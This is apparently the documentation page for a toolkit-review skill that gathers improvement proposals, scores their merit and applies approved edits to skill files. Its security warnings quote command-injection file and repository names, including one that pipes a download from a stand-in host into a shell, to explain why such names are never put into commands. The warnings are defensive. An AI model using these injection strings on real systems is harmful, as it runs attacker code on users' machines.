Skip to content

vt-t-toolkit-review

Process procedure improvement proposals from projects, RCA documents, and research. Collects from all sources, groups by target skill, generates edit proposals, and applies approved changes to toolkit files.

Plugin: vt-toolkit
Category: Other
Command: /vt-t-toolkit-review


Toolkit Review

Purpose: Close the feedback loop between project experience and toolkit procedures. Collects improvement proposals from all sources and applies approved changes to toolkit skills, agents, and templates.

The Feedback Loop

SOURCES                                    TOOLKIT (V025-claude-toolkit)
───────                                    ──────────────────────────────

Project work                               intake/
  └─ /vt-c-compound (Option 8) ──────────►       ├─ projects.yaml
  └─ /vt-c-journal (auto-detect) ────────►       ├─ pending/
                                             │    ├─ from-projects/
RCA documents                                │    ├─ from-rca/
  └─ /vt-t-toolkit-review --from-rca ────►       │    └─ from-research/
                                             └─ processed/
Research
  └─ /vt-p-research-ingest ─────────────►  intake/pending/from-research/

                         │
                         ▼
              /vt-t-toolkit-review processes all
                         │
                         ▼
              Skills, agents, templates updated

Invocation

/vt-t-toolkit-review                          # Collect from all registered projects + intake/pending/
/vt-t-toolkit-review --scan ~/path/to/project # Scan specific project (also registers it)
/vt-t-toolkit-review --from-rca PATH          # Import learnings from an RCA document
/vt-t-toolkit-review --status                 # Show pending proposals across all sources

Configuration

toolkit_root: TOOLKIT_ROOT
intake_dir: intake/
projects_registry: intake/projects.yaml

Execution Instructions

Calling the status vocabulary. Every status-vocab.sh call in this skill is written in the cross-plugin form "$CLAUDE_PLUGIN_ROOT/../vt-base/bin/status-vocab.sh". The ../vt-base/ hop is deliberate: the CLI lives in the base plugin, while $CLAUDE_PLUGIN_ROOT names this skill's own plugin. If $CLAUDE_PLUGIN_ROOT is unset or that file does not exist, run the copy relative to this skill file's directory instead, ../../../vt-base/bin/status-vocab.sh. If neither exists, stop the step and report both paths you tried; never classify from memory or from a list written here. Do not shorten the call to a path under the toolkit's plugins/ directory: that resolves only when the working directory is the toolkit itself, so the step could not read the vocabulary in a product repo. Never paste a PATH or a VALUE read out of a file into a command: a status and a file name are both repo content, and a $(…) in one runs when it reaches a shell (review pass 4, SEC-20). Single quotes are NOT the remedy — that advice shipped here and was measured wrong (review pass 6, SEC6-3): they stop $(…), but a directory committed as 999-x'$(touch PWNED)' CLOSES the quote and executes. Let the shell expand the glob and bind the loop variable, and paste only a number, which cannot carry a quote. classify-file and accepts-file take the file and read the value themselves.

An exit 2 is not an unknown literal. exit 3 says the vocabulary was read and this value is not in it — warn, and never default it. exit 2 says the vocabulary could not be read AT ALL, or that the artifact was refused before being scanned: a missing or unparseable data file, a key this reader will not identify, a duplicate declaration of the same field, or a file over the size bound (review pass 7, SEC7-4). Report it and stop; do not carry on as though the answer were empty and do not treat the value as acceptable. Stated once here rather than in each step, because it is the contract of every call this file makes.

Step 1: Collect Proposals

Tip: Run /vt-p-project-sync first to ensure all registered projects' proposals and journal entries have been collected into intake/pending/from-projects/. This is especially important if projects have been worked on since the last sync.

1a. Load project registry:

Read: intake/projects.yaml

Parse the projects list. For each project:

# Check if project path exists (canonical + legacy layout)
ls [project_path]/docs/toolkit-proposals/ [project_path]/01-docs/toolkit-proposals/ 2>/dev/null

# Read all proposal files from BOTH locations, then de-duplicate by basename
# (docs/ wins) so a proposal in both layouts is never processed twice.
Glob: [project_path]/docs/toolkit-proposals/*.md
Glob: [project_path]/01-docs/toolkit-proposals/*.md   # legacy (pre-SPEC-150 scaffold)

1b. Scope health check (SPEC-123 C9):

Run the advisory scope-health checks before processing proposals:

bash plugins/vt-base/bin/check-skill-scope-health.sh \
  --skill-dir plugins/*/skills \
  --repo-product [current-repo-product-if-known] \
  --projects intake/projects.yaml
  • If --repo-product is known (the repo has a matching entry in intake/projects.yaml projects[].product), the check emits cross-product warnings: ⚠ Skill X scoped to {Y} but current repo is product=Z. Skill is path-blocked; manual /X still works.
  • The check also emits heuristic suggestions for global-scope skills that contain product signals: suggest: vt-d-messegelaende-cleanup matches VisiFair signals → consider scope: product:[VisiFair].
  • Exit codes (BUG-221 — this used to say "always 0"): 0 = the check ran and any findings are advisory only, so they never fail this workflow; 2 = nothing was checked because no SKILL.md was selected — treat that as a broken invocation (an unmatched --skill-dir plugins/*/skills glob is the likely cause), not as a clean result; anything else = the check crashed and says so on stderr with a line number.
  • Do not read empty output as "no problems" without checking the exit code: a run that examined zero skills and a run that found nothing both print nothing on stdout.
  • Include the output in the Step 4 summary for review.

1c. Load intake/pending/ proposals:

Glob: intake/pending/from-projects/*.md
Glob: intake/pending/from-rca/*.md
Glob: intake/pending/from-research/*.md

1d. Filter out already-processed proposals:

Ask the vocabulary about every proposal file rather than matching a list kept here. Run this one command over the three globs above and read its lines; do not paste the names back in:

for f in intake/pending/from-projects/*.md intake/pending/from-rca/*.md intake/pending/from-research/*.md; do
  [ -e "$f" ] || continue
  printf '%s\t' "$f"
  "$CLAUDE_PLUGIN_ROOT/../vt-base/bin/status-vocab.sh" classify-file "$f" --consumer toolkit-review
done

⚠ The shell expands the glob; the name is NEVER pasted into the command. A file name is repo content, and BUG-901$(touch PWNED).md executes when it is interpolated into a double-quoted argument — measured, review pass 5 (SEC-20 closed the status VALUE, not the name). Single quotes are not enough either: a name containing ' breaks out of them.

  • class end → skip it. The proposal has been dealt with — applied, retracted by its author, already through the merit gate, turned into a spec: the reasons differ, the handling does not.
  • class active → process it. A proposal awaiting its first review and one returned for changes are both work this run should do.
  • exit 4 (no toolkit_proposal_status field at all) → process it, as before.
  • exit 3 — a literal nobody declares — is an error, not a default. Print ⚠ unknown toolkit_proposal_status "{value}" in {file} — processing it, declare it in plugins/vt-base/lib/status-vocabulary.tsv and process the file. This filter and inbox-qualify Step 0.5 used to be two lists that an author had to keep in step by hand; they read one declaration now.

If no proposals found:

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Toolkit Review - No Pending Proposals
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Scanned:
• N registered projects
• intake/pending/ (0 files)

No proposals to process.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Step 2: Group by Target

Group all collected proposals by target_skill from their YAML frontmatter:

pd-5-specs: (2 proposals)
  [2026-02-13] Missing UX quality criteria in specs (high) — V024-Websites-dev
  [2026-02-13] Missing a11y acceptance criteria (high) — V024-Websites-dev

scaffold: (1 proposal)
  [2026-02-13] critical-patterns.md should include UX patterns (medium) — RCA-001

research-ingest: (1 proposal)
  [2026-02-14] New skill idea from article (low) — research

If multiple proposals target the same section of the same skill, merge them into one combined proposal. Note the merge in the presentation.

Step 3: Analyze, Assess Merit, and Generate Edit Proposals

For each target skill:

  1. Resolve target_skill to a source directory, then read the skill file.

target_skill may hold either name space, and both are legitimate:

  • the deployed name a user types and inbox-qualify validates against (vt-d-4-review) — this is what every proposal routed through /vt-p-inbox-qualify carries, because that skill validates against skill-symlinks.manifest, which is keyed by deployed names;
  • the source directory name (workflow-4-review) — what hand-written proposals usually use, and where the file actually lives.

The manifest records the mapping. Consult it before reading, or every proposal from the qualify route fails here — and fails quietly, because the "Target skill not found" error below is written for a MISSPELLED target, while these are correct in the vocabulary that validated them.

# deployed -> source, e.g. "vt-d-4-review -> workflow-4-review"
grep -h "^[target_skill] ->" plugins/*/.claude-plugin/skill-symlinks.manifest | head -1

Use the right-hand side when a mapping exists; otherwise use target_skill unchanged — it is already a source name. Then:

Read: plugins/*/skills/[resolved_name]/SKILL.md

If neither resolves to a file, fall through to the "Target skill not found" error path. Report which name was tried, so a mapping gap is distinguishable from a typo.

  1. Read all proposals targeting it

  2. Read the constitution (if it exists):

    Read: .specify/memory/constitution.md
    

  3. Run Merit Assessment — 5 adversarial checks that challenge whether the proposal should be implemented at all:

Check A: Problem Reality - Is this problem reported by a real project, RCA, or user — or is it purely theoretical? - Has the current state actually caused issues in practice (drift, confusion, bugs)? - If the proposal originates from external article comparison with no experienced pain → flag as THEORETICAL - If the proposal originates from an RCA, project feedback, or documented incident → CONFIRMED

Check B: Constitution Compliance - Does the proposed change strengthen or weaken each Constitution principle? - Especially Principle IV (Composability): does it break self-containment of any skill or agent? Does it introduce cross-file dependencies where none existed? - If the change weakens a principle → flag as VIOLATION([principle]) - If there is a tradeoff between principles → flag as TENSION([principle], [explanation]) - Source of truth (SPEC-143): when verifying a shipped spec, read specs/[N]-feature/state.yaml.plan_gate rather than re-parsing plan.md prose. Reader accepts status: PASS (post-SPEC-143) and legacy status: COMPLETE as equivalent compliant markers — both are considered compliant.

Check C: Consumer Identification - Who specifically uses the changed component? Name the consumers (skills, agents, workflows, users). - If the proposal creates new files: who reads those files? Name the consumer. - If the only beneficiary is "future flexibility", "potential reuse", or "cleaner architecture" with no current consumer → flag as SPECULATIVE

Check D: Duplication Analysis (only when the proposal addresses duplication) - Do both copies need to exist for their respective components to work standalone? - Has the duplication actually caused drift? Are the copies identical or have they diverged? - If both components need the content inline for standalone operation → flag as FUNCTIONAL - Skip this check (mark N/A) if the proposal is not about reducing duplication.

Check E: Cost-Benefit - Net file count change (more files = more complexity to maintain) - Net cross-file dependency count (new references between files) - Does the value gained justify the complexity added? - If complexity increases without clear, concrete benefit → flag as NET_NEGATIVE

  1. Generate Merit Verdict from the check results:
Verdict Condition Recommended action
SOUND All checks pass (no flags) Approve or defer-to-spec
QUESTIONABLE 1-2 checks flagged concerns Review concerns carefully before deciding
DETRIMENTAL VIOLATION + NET_NEGATIVE, or 3+ flags, or Problem is THEORETICAL + Consumer is SPECULATIVE Reject (user can override)
  1. Generate a specific edit proposal (same as before):
  2. Identify the exact section to modify (by content, not just line number)
  3. Draft the exact content to add or change
  4. Provide rationale from the source proposals

Provenance check (SPEC-189 FR-4). After reading status, read validator. If it is not agent — including absent, which reads as unknown and never as agent (FR-6) — display:

⚠ This gate's <status> was NOT produced by its prescribed validator (validator: <value>).
  Did not run: <prescribed − validators_run>, from the writing skill's `requires_agents`.
  When no prescribed set is declared, name what DID run instead and say so — never drop the
  line, and never read an empty `prescribed` as "none were required".
  Continuing — this is a notice, not a block.

Non-blocking by FR-5: the notice changes no branch.

Step 4: Present for Approval

For each target, present both the merit verdict and the edit proposal using AskUserQuestion:

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Proposal 1/N: Update [target-skill]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Source: [source] ([count] proposals, [severity])
Target: plugins/*/skills/[target]/SKILL.md

┌─────────────────────────────────────────────────────┐
│  MERIT ASSESSMENT: [SOUND | QUESTIONABLE | DETRIMENTAL]
│                                                     │
│  A. Problem Reality: [CONFIRMED | THEORETICAL]      │
│     [1-line explanation]                            │
│                                                     │
│  B. Constitution: [OK | VIOLATION(N) | TENSION(N)]  │
│     [1-line explanation]                            │
│                                                     │
│  C. Consumer: [IDENTIFIED: x, y | SPECULATIVE]      │
│     [1-line explanation]                            │
│                                                     │
│  D. Duplication: [N/A | FUNCTIONAL | ACCIDENTAL]    │
│     [1-line explanation, if applicable]             │
│                                                     │
│  E. Cost-Benefit: [NET_POSITIVE | NEUTRAL | NET_NEGATIVE]
│     [1-line explanation]                            │
└─────────────────────────────────────────────────────┘

Proposed change:
  [the edit proposal from Step 3.6]

Evidence:
  [source references]
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Options depend on the merit verdict:

When verdict is SOUND: - Approve — Apply this change to the toolkit file - Edit — Modify the proposed content before applying - Defer to spec — Too large for direct edit, create a spec - Reject — Don't apply (mark as rejected)

When verdict is QUESTIONABLE: - Approve — Apply despite concerns - Edit — Modify to address concerns, then apply - Defer to spec — Create a spec (concerns carry forward for Defense Line 2) - Reject — Don't apply (mark as rejected with merit assessment preserved)

When verdict is DETRIMENTAL: - Reject (Recommended) — Don't apply (mark as rejected with merit assessment preserved) - Edit — Modify to address concerns, then re-assess - Approve anyway — Override the assessment (user has final say) - Defer to spec — Create a spec despite concerns

In all cases, View source is available as a secondary action to show the full source proposal(s).

Learning capture: When a proposal is rejected based on merit assessment, append the verdict and rejection reason to the proposal file as a ## Merit Assessment section. This preserves the reasoning for institutional learning (Constitution Principle III).

Step 5: Apply Approved Changes

For each proposal with a decision:

Approved proposals: 1. Apply the edit to the target toolkit file using Edit tool 2. Mark source proposals as applied: - For project proposals: update toolkit_proposal_status: applied in the source file - For intake/pending/ proposals: move file to intake/processed/

Deferred-to-spec proposals: 1. Update toolkit_proposal_status: deferred-to-spec in the proposal file 2. Move to intake/processed/: git mv [proposal_path] intake/processed/[from-source]/ — the proposal is processed; the spec handles everything from here

Rejected proposals: 1. Update toolkit_proposal_status: rejected in the proposal file 2. Append ## Merit Assessment section with verdict and rejection reason (already documented above) 3. Move to intake/processed/: git mv [proposal_path] intake/processed/[from-source]/ — the proposal was evaluated and dismissed; keeping it in pending is misleading

Step 6: Summary Report

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Toolkit Review Complete
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Proposals processed: N
  Approved and applied: X
  Skipped: Y
  Edited and applied: Z

Files updated in toolkit:
  - skills/vt-d-pd-5-specs/SKILL.md (added quality criteria section)
  - templates/vt-d-scaffold/coding/critical-patterns.md (added 6 UX patterns)

Source proposals marked as applied in:
  - V024-Websites-dev/docs/toolkit-proposals/ (2 files)
  - intake/pending/from-rca/ → intake/processed/ (1 file moved)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Ready to commit. Run /vt-c-commit to create a commit on the current branch.

Suggested message: "Apply toolkit improvements from V024 project feedback"
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


--from-rca Mode

Import learnings directly from an RCA (Root Cause Analysis) document.

Execution

/vt-t-toolkit-review --from-rca ~/path/to/RCA-document.md

Steps

  1. Read the RCA document in full

  2. Extract actionable items:

  3. Each root cause (RC-N) that identifies a toolkit gap
  4. Each defect category that could be prevented by a checklist/pattern
  5. Each "should exist" recommendation

  6. Map each to a target skill: | RCA Finding | Target Skill | |---|---| | Missing quality criteria in specs | pd-5-specs, kw-specs | | Missing quality gate | implementation-orchestrator | | Missing pattern in checklist | scaffold (critical-patterns template) | | Missing auto-detection | continuous-learning | | Missing review step | workflow skill (3-build, 4-review) |

  7. Generate proposal files in intake/pending/from-rca/:

Filename: YYYY-MM-DD-[rca-id]-[target-skill].md

---
type: procedure-improvement
date: YYYY-MM-DD
source: RCA-001
source_path: /path/to/RCA-document.md
target_skill: pd-5-specs
severity: high
category: missing-criteria
toolkit_proposal_status: proposed
---

# Procedure Improvement: Add UX quality criteria to specs template

## Source
RCA-001: Repeated UX Defects Across Sibling Apps
Root Cause RC-3: UX quality criteria are not in the specs

## What Went Wrong
[Extracted from RCA]

## Evidence
[Extracted from RCA - defect counts, specific examples]

## Proposed Change
[Specific addition to the target skill]

## Expected Impact
[How many future occurrences this prevents]
  1. Continue with normal review flow (Step 1-6 above)

--scan Mode

Scan a specific project and optionally register it.

Execution

/vt-t-toolkit-review --scan ~/path/to/project

Steps

  1. Check if docs/toolkit-proposals/ (or legacy 01-docs/toolkit-proposals/) exists in the project; scan both and de-duplicate by basename (docs/ wins)
  2. If proposals found, process them through the normal flow
  3. Make the path absolute first. Before any command, turn the --scan argument into an absolute path yourself: replace a leading ~ with the value of $HOME, and prefix a relative path with the current directory. Refuse to continue if the path contains a ' — stop and ask instead. Reason: every command below puts this path inside single quotes, where ~ never expands — the resolver then reports a registered project as unregistered and the writer refuses the path (SPEC-195 review pass 6, P6-DOC-2) — and a ' would close the quoting, while --scan reaches directories you did not create (P6-SEC-3). Use this absolute path as <project path> in every step below.

Then ask the resolver whether the project is registered — never a text search of the registry, which cannot see worktrees:

bash ~/.claude/skills/vt-c-project-register/scripts/resolve_project.sh '<project path>'
Exit 0 AND field 5 equal to that project's own toplevel OR its main checkout — both asked of the PROJECT with git -C, never of your own cwd:
git -C '<project path>' rev-parse --path-format=absolute --show-toplevel
dirname "$(git -C '<project path>' rev-parse --path-format=absolute --git-common-dir)"
A worktree counts as its project (P10-DOC-1) → registered, nothing to do here. ⚠ git -C is not optional here, and leaving it out is why this step is being corrected. Under --scan your cwd stays the TOOLKIT while you iterate over other projects, so a bare git rev-parse (without -C) describes the toolkit and matches field 5 for no project. Measured 2026-10-03 from a toolkit worktree: bare --show-toplevel returned the toolkit worktree and bare --git-common-dir its primary checkout, while field 5 for two registered projects was each project's own path — so every registered project fell into the "field 5 matching neither" branch below and would be offered for registration a second time, with the wrong diagnosis attached. 100% of them, not a rate: the cwd is the same for every iteration. Exit 0 with field 5 matching neither → NOT registered, it sits inside a registered project: ask, as for exit 1. Exit 1 → not registered, OR the path is not a git repository at all (the resolver returns 1 for both; say which before offering to register). Ask whether to register it:
Project ~/path/to/project is not registered.
Register it for automatic scanning?
Any other exit → report "Toolkit defect: resolve_project.sh exited : " and skip registration for this project. 4. If yes, ask for the project id, the parent (sub-repositories only) and the spec folder (only when the project declares none) as ~/.claude/skills/vt-c-project-register/references/registry-item-prompt.md describes. <name> is the directory's basename; <type> follows the same inference as /vt-c-project-register Step 3 (coding / design / knowledge / mixed from the tree); <domain> is asked from the user when the path matches no products: pattern of the registry. Then write with its quoting rule and exit-code handling (exit 3: re-ask a value-level refusal, stop on a terminal one — the reference's exit table says which):
bash ~/.claude/skills/vt-c-project-register/scripts/registry_write.sh add \
  --path '<project path>' --name '<name>' --type '<type>' --id '<id>' \
  --parent '<parent>' --domain '<domain>' --spec-root '<spec_root>'
Quoting — state it here, do not follow the link for it. Put every value in single quotes, and refuse to run the command if any value contains a ' — stop and ask instead. Reason: --scan reaches directories you did not create, so a repository named App'$(curl -s http://x|sh)' closes the quote and the substitution runs as you. The writer cannot save you: by the time it parses argv the injection has already executed. Every value here, the path included, is a literal you type — there is no variable expansion to exempt.

Omit every flag whose value is empty. Never append to intake/projects.yaml by hand — reason: an item without an id turns the id guard red, and the writer is where ids, parents and spec folders are validated.

Then record the write (BUG-251). The stub derives the toolkit checkout from its own physical location, never from the scanned project's cwd:

bash ~/.claude/skills/vt-c-project-register/scripts/commit-registry-write.sh \
  "chore(intake): register a scanned project (BUG-251)"
Show its output verbatim. The registry lives in the toolkit checkout, not in the project being scanned; left uncommitted there, the entry is destroyed by the next reset, merge or branch switch, with no trace in git. The script commits only when that is safe — never on main, a detached HEAD, or mid-merge — and otherwise states the risk, which is the point.


--status Mode

Show pending proposals without processing them.

Execution

/vt-t-toolkit-review --status

Output

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Toolkit Review Status
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Registered projects: N
  - V024-Websites-dev (2 pending proposals)
  - V025-Some-Project (0 pending proposals)

Intake pending:
  from-projects/: 0 files
  from-rca/: 1 file
  from-research/: 3 files

Total pending: 6 proposals

By target skill:
  pd-5-specs: 2 (high)
  scaffold: 1 (medium)
  research: 3 (mixed)

Run /vt-t-toolkit-review to process all pending proposals.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Proposal Format

All proposals (from any source) use this standardized YAML frontmatter:

The accepted values are NOT enumerated here. "$CLAUDE_PLUGIN_ROOT/../vt-base/bin/status-vocab.sh" values proposal prints them (add --with-aliases for the accepted spellings), and a literal it does not print is undeclared — the readers above report it as exit 3 rather than guessing a default. This block used to advertise a value the lifecycle never had, which is what an enumeration kept beside the real one does over time.

---
type: procedure-improvement
date: YYYY-MM-DD
source: [project-name | RCA-NNN | research-ingest]
source_path: [path to source file]
target_skill: [skill name in toolkit]
target_file: [specific file path, if known]
severity: [high | medium | low]
category: [missing-criteria | missing-step | wrong-default | missing-check | new-pattern]
toolkit_proposal_status: [see `status-vocab.sh values proposal` — declared, not listed here]
tags: [relevant, tags]
---

Integration Points

Invoked by: - /vt-t-toolkit-review command (primary interface) - Recommended after completing a project milestone or retrospective

Receives proposals from: - session-journal (procedure-improvement entries in project's docs/toolkit-proposals/) - compound-docs (Option 8 in decision menu) - --from-rca flag (RCA document import) - research-ingest (proposals in intake/pending/from-research/)

Does not invoke: - research-implement (separate skill for research proposals with full scaffolding logic)


Error Handling

Project path not found:

Project path does not exist: ~/path/to/project
Skipping. Update intake/projects.yaml to remove stale entries.

No proposals directory in project:

No docs/toolkit-proposals/ in V024-Websites-dev.
This project has not generated any toolkit proposals yet.

Invalid proposal format:

Proposal [filename] is missing required fields: target_skill
Skipping this proposal. Fix the YAML frontmatter and re-run.

Target skill not found:

Target skill "nonexistent-skill" not found in toolkit.
  tried as deployed name -> no mapping in skill-symlinks.manifest
  tried as source name   -> no plugins/*/skills/nonexistent-skill/
Skipping proposal. Available skills: [list nearby matches]

Naming both attempts matters: a proposal from /vt-p-inbox-qualify carries a DEPLOYED name that is valid in the manifest, so "not found" without the detail reads as a typo in a value that is correct. That is how the mismatch survived — the failure looked like bad input rather than an unresolved mapping.